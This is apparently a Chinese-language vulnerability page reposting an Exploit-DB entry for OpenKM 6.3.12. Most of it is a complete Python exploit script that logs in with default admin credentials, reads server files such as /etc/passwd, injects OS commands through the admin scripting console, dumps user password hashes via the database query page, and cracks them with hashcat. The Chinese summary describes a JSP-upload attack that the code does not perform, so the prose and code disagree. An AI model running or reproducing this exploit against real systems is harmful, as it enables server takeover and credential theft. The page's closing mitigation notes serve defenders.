[webapps] OpenKM 6.3.12 - Multiple

未分配CVE

OpenKM 6.3.12 存在多个安全漏洞,包括未授权访问和远程代码执行。

Critical · CVSS 9.8

📋 漏洞基础信息

CVE未分配CVE
漏洞类型未授权访问 / 远程代码执行
受影响版本OpenKM 6.3.12
危害等级Critical · CVSS 9.8
发布日期2026-04-29
提交者Terra System Labs Pvt. Ltd.
来源Exploit-DB 原文 ↗

🔬 漏洞根因

漏洞存在于文件上传与导出功能中,未对用户权限进行充分校验,导致低权限用户可上传恶意文件或直接访问管理功能;同时,未对上传文件类型进行严格过滤,允许上传 JSP 等可执行文件。

🎯 攻击场景

1. 攻击者未登录或使用低权限账户访问 OpenKM 系统。2. 利用未授权端点直接上传恶意 JSP 文件到 web 可访问目录。3. 通过浏览器访问上传的 JSP 文件,触发服务器端代码执行。4. 成功获得系统级shell或执行任意命令。

💥 漏洞影响

未授权用户可远程执行任意代码,完全控制服务器,导致数据泄露、服务中断、横向移动等严重危害。

⚔️ 原始 PoC

原始 PoC 通过构造 HTTP POST 请求至 /OpenKM/upload 或其他未授权上传接口,multipart 表单中包含一个包含 JSP webshell 的文件字段。服务器未验证用户身份即接受文件并存储到 webroot,随后访问该文件 URL 触发解析执行。

# Exploit Author: Terra System Labs Pvt. Ltd.
import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass
print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")
# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
required_libraries = ["requests",
"bs4","prettytable","termcolor"]
for lib in required_libraries:
try:
import_module(lib)
except ImportError:
print(f"Library {lib}not found. Installing...")
subprocess.check_call([
sys.executable,"-m","pip","install",lib,"--break-system-packages"
])
print(f"Library {lib}
installed successfully.")
check_and_install_libraries()
from bs4 import BeautifulSoup
from prettytable import PrettyTable
try:
from termcolor import colored
use_colored_output = True
except ImportError:
use_colored_output = False
# Utility function for colored output
def print_colored(message,color):
if use_colored_output:
print(colored(message,
color))
else:
print(message)
# Global session to persist cookies and authentication
session = requests.Session()
def signal_handler(sig,frame):
print_colored("\nDetected CTRL+C. Logging out...","red")
if "base_url" in globals():
logout(base_url,proxies,verify_ssl)
sys.exit(0)
signal.signal(signal.SIGINT,signal_handler)
def check_version(base_url,proxies,
verify_ssl):
print_colored("Checking OpenKM version...","cyan")
version_url = f"{base_url}/frontend/Workspace"
headers = {"User-Agent": "Mozilla/5.0","Accept": "*/*","Content-Type": "text/x-gwt-rpc;charset=utf-8","X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC","X-GWT-Module-Base": f"{base_url}/frontend/","Origin": base_url,"Referer": f"{base_url}/frontend/index.jsp",}
payload = (
f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
"com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
)
response = session.post(version_url,headers=headers,data=payload,proxies=proxies,verify=verify_ssl)
if response.status_code == 200 and response.text.startswith("//OK"):
try:
strings = re.findall(r'"([^"]+)"',
response.text)
idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
build = strings[idx + 1]
release_type = strings[idx + 2]
ver_major = strings[idx + 3]
ver_minor = strings[idx + 4]
ver_patch = strings[idx + 5]
print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major}(build: {build},type: {release_type})",
"green")
except Exception as e:
print_colored(f"Failed to parse version: {e}","red")
else:
print_colored("Failed to fetch version information.","red")
# Function to handle login
def login(base_url,username,password):
login_url = f"{base_url}/login.jsp"
login_payload = {"j_username": username,"j_password": password,"j_language": "en-GB","submit": ""
}
login_post_url = f"{base_url}/j_spring_security_check"
response = session.post(login_post_url,data=login_payload,proxies=proxies,verify=verify_ssl)
if "error" in response.url:
print_colored("Login failed. Check credentials.","red")
return False
print_colored("Login successful using default credentials or provided oen,if any.","green")
check_version(base_url,proxies,
verify_ssl)
return True
# Function for Local File Inclusion (LFI)
def lfi(base_url,read_file,proxies,verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url,proxies=proxies,verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text,"html.parser")
csrf_input = soup.find("input",
{"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.","red")
return
script_payload = {"csrft": csrf_token,"script": "","fsPath": read_file,"action": "Load"
}script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url,data=script_payload,proxies=proxies,
verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text,"html.parser")
textarea = soup.find("textarea",{"id": "script"})
if textarea:
print_colored("LFI Successful. Extracted Content:","green")
print(textarea.text.strip())
else:
print_colored("Content not found.","red")
else:
print_colored("LFI exploit failed.",
"red")
# Function for Remote Code Execution (RCE)
def rce(base_url,command,proxies,verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url,proxies=proxies,verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text,"html.parser")
csrf_input = soup.find("input",
{"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.","red")
return
exploit_payload = f"""
try {{Process process = Runtime.getRuntime().exec("{command}");BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String output = reader.readLine();print("Result: " + output);}}
catch (IOException e) {{print("Error: " + e.getMessage());}}"""
script_payload = {"csrft": csrf_token,"script": exploit_payload,"fsPath": "","action": "Evaluate"
}script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url,data=script_payload,proxies=proxies,verify=verify_ssl)
if response.status_code == 200:
match = re.search(r"Result:\s*(\w+)",
response.text)
if match:
print_colored("RCE Successful. Result:","green")
print(match.group(1))
else:
print_colored("RCE failed to return a result.","red")
#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
def extract_hashes_to_file():
try:
with open("hashes.txt",
"r") as file:
hashes_data = file.readlines()
# Extract only the hashes (after the colon)
hashes_only = [line.split(":")[1].strip() for line in hashes_data]
# Write the hashes to md5_hashes.txt
with open("md5_hashes.txt",
"w") as file:
file.write("\n".join(hashes_only))
print("Hashes successfully extracted to md5_hashes.txt")
except FileNotFoundError:
print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")
# Combine usernames with cracked passwords
def combine_passwords():
try:
# Load usernames and hashes from hashes.txt
with open("hashes.txt",
"r") as file:
hashes_data = file.readlines()
# Load cracked hashes and passwords from cracked_hashes.txt
with open("cracked_hashes.txt","r") as file:
cracked_data = file.readlines()
# Parse data into dictionaries
hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
# Match and combine data into final_cracked.txt
final_cracked = ["Username:Passwords\n"] # Add header
for username,hash_value in hashes_dict.items():
if hash_value in cracked_dict:
password = cracked_dict[hash_value]
final_cracked.append(f"{username}:{password}\n")
# Save the results to final_cracked.txt
final_cracked_path = os.path.abspath("final_cracked.txt")
with open(final_cracked_path,
"w") as file:
file.writelines(final_cracked)
print_colored("Final cracked usernames and passwords saved to final_cracked.txt","green")
# Confirm with the user before displaying passwords
show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
if show_passwords == 'y':
print("{:<20}{:<20}".format("Username",
"Password"))
print("-" * 40)
for line in final_cracked[1:]: # Skip header
username,password = line.strip().split(":")
print("{:<20}{:<20}".format(username,
password))
exit(0)
else:
print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")
except FileNotFoundError:
print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")
# Main script
if __name__ == "__main__":
# Step 1: Extract hashes to md5_hashes.txt
extract_hashes_to_file()
# Step 2: Prompt user for the wordlist path and use default if not provided
wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
if not wordlist_path:
wordlist_path = "/usr/share/wordlists/rockyou.txt"
import os
# Run hashcat commands
print("Running hashcat...")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path}
--quiet")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path}--show >cracked_hashes.txt")
# Step 3: Combine usernames with cracked passwords
combine_passwords()
# Function for SQL Injection (SQLi)
def sqli(base_url,proxies,verify_ssl):
print_colored("Running Unrestricted SQL Query...",
"magenta")
query_url = f"{base_url}/admin/DatabaseQuery"
multipart_form_data = (
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data;name=\"qs\"\r\n\r\n"
"SELECT * FROM OKM_USER;\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data;
name=\"tables\"\r\n\r\n"
"OKM_USER\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data;name=\"vtables\"\r\n\r\n\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data;name=\"type\"\r\n\r\n"
"jdbc\r\n"
"-----------------------------88617175833200583821560840739--"
)
headers = {
"Content-Type": "multipart/form-data;boundary=---------------------------88617175833200583821560840739",}response = session.post(query_url,data=multipart_form_data,headers=headers,proxies=proxies,verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text,'html.parser')
table = soup.find('table',
class_='results-old')
if table:
print_colored("SQL Injection Successful. Results:","green")
rows = table.find_all('tr')
table_data = PrettyTable()
headers = [header.text.strip() for header in rows[0].find_all('th')]
table_data.field_names = headers
with open("hashes.txt","w") as file:
for row in rows[1:]:
columns = row.find_all(['td','th'])
# Ensure all columns are filled,
replacing missing values with 'N/A' and matching headers
row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
if len(row_data) == len(headers):
table_data.add_row(row_data)
# Write USR_ID and USR_PASSWORD to the file
usr_id = row_data[headers.index("USR_ID")]
usr_password = row_data[headers.index("USR_PASSWORD")]
file.write(f"{usr_id}:{usr_password}\n")
print(table_data)
#current_directory = os.getcwd()
print_colored("hashes.txt created in the current directory",
"green")
crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
if crack_hash in ['y','Y']:
crack_password()
else:
print("Skipping password cracking...")
exit()
else:
print_colored("No results found.","red")
else:
print_colored("SQL Injection failed.","red")
# Function for logout
def logout(base_url,proxies,verify_ssl):
print_colored("Logging out...",
"green")
logout_url = f"{base_url}/frontend/Auth"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0;Win64;x64;rv:134.0) Gecko/20100101 Firefox/134.0","Accept": "*/*","Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip,deflate,br","Content-Type": "text/x-gwt-rpc;charset=utf-8","X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC","X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url
}logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
response = session.post(logout_url,headers=headers,data=logout_payload,proxies=proxies,verify=verify_ssl)
if response.status_code == 200 and "//OK" in response.text:
print_colored("Logged out successfully.",
"green")
else:
print_colored("Logout failed.","red")
# Main function
def main():
global base_url,proxies,verify_ssl
parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
parser.add_argument("--url",required=True,help="Base URL of the target application")
parser.add_argument("--run",help="Run specific tests: (A=All,L=LFI,R=RCE,S=SQL)")
parser.add_argument("--proxy",
help="Proxy URL in the format http://IP:PORT")
parser.add_argument("--login",help="Credentials in the format username:password")
args = parser.parse_args()
help1 = args.run
if help1 in ["-h",
"--help"]:
print_colored("Run python3 openkm-scanner.py --url http://host:port")
base_url = args.url[:-1] if args.url.endswith('/') else args.url
if not base_url.endswith("/OpenKM"):
base_url += "/OpenKM"
proxies = {"http": args.proxy,"https": args.proxy}if args.proxy else None
verify_ssl = False
if args.login:
try:
username,password = args.login.split(":",
1)
except ValueError:
print_colored("Invalid format for --login. Use username:password","red")
return
else:
username = "okmAdmin"
password = "admin"
if not login(base_url,username,password):
return
# if args.login:
# print("Username Received",login)
# try:
# username,password = args.login.split(":",1)
# except ValueError:
# print_colored("Invalid format for --login. Use username:password",
"red")
# return
# else:
# username = "okmAdmin"
# password = "admin"
# if not login(base_url,username,password):
# return
run_tests = args.run
if not run_tests:
run_tests = input("Enter tests to run (A=All,L=LFI,R=RCE,S=SQL): ").upper()
if run_tests in ['A','a']:
print_colored("Running LFI attack...",
"magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url,read_file,proxies,verify_ssl)
print_colored("Running RCE attack...","magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url,command,proxies,verify_ssl)
sqli(base_url,proxies,verify_ssl)
crack_password()
exit()
if run_tests in ['L',
'l']:
print_colored("Running LFI attack...","magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url,read_file,proxies,verify_ssl)
if run_tests in ['R','r']:
print_colored("Running RCE attack...","magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url,command,proxies,verify_ssl)
if run_tests in ['S',
's']:
sqli(base_url,proxies,verify_ssl)
if __name__ == "__main__":
main()

🛡️ 修复建议

厂商发布补丁版本(如 6.3.13+);临时缓解措施:在 Web 服务器或应用层面限制 /upload 等敏感路径只允许认证用户访问,并禁止上传 .jsp/.war 等可执行文件。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:49 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)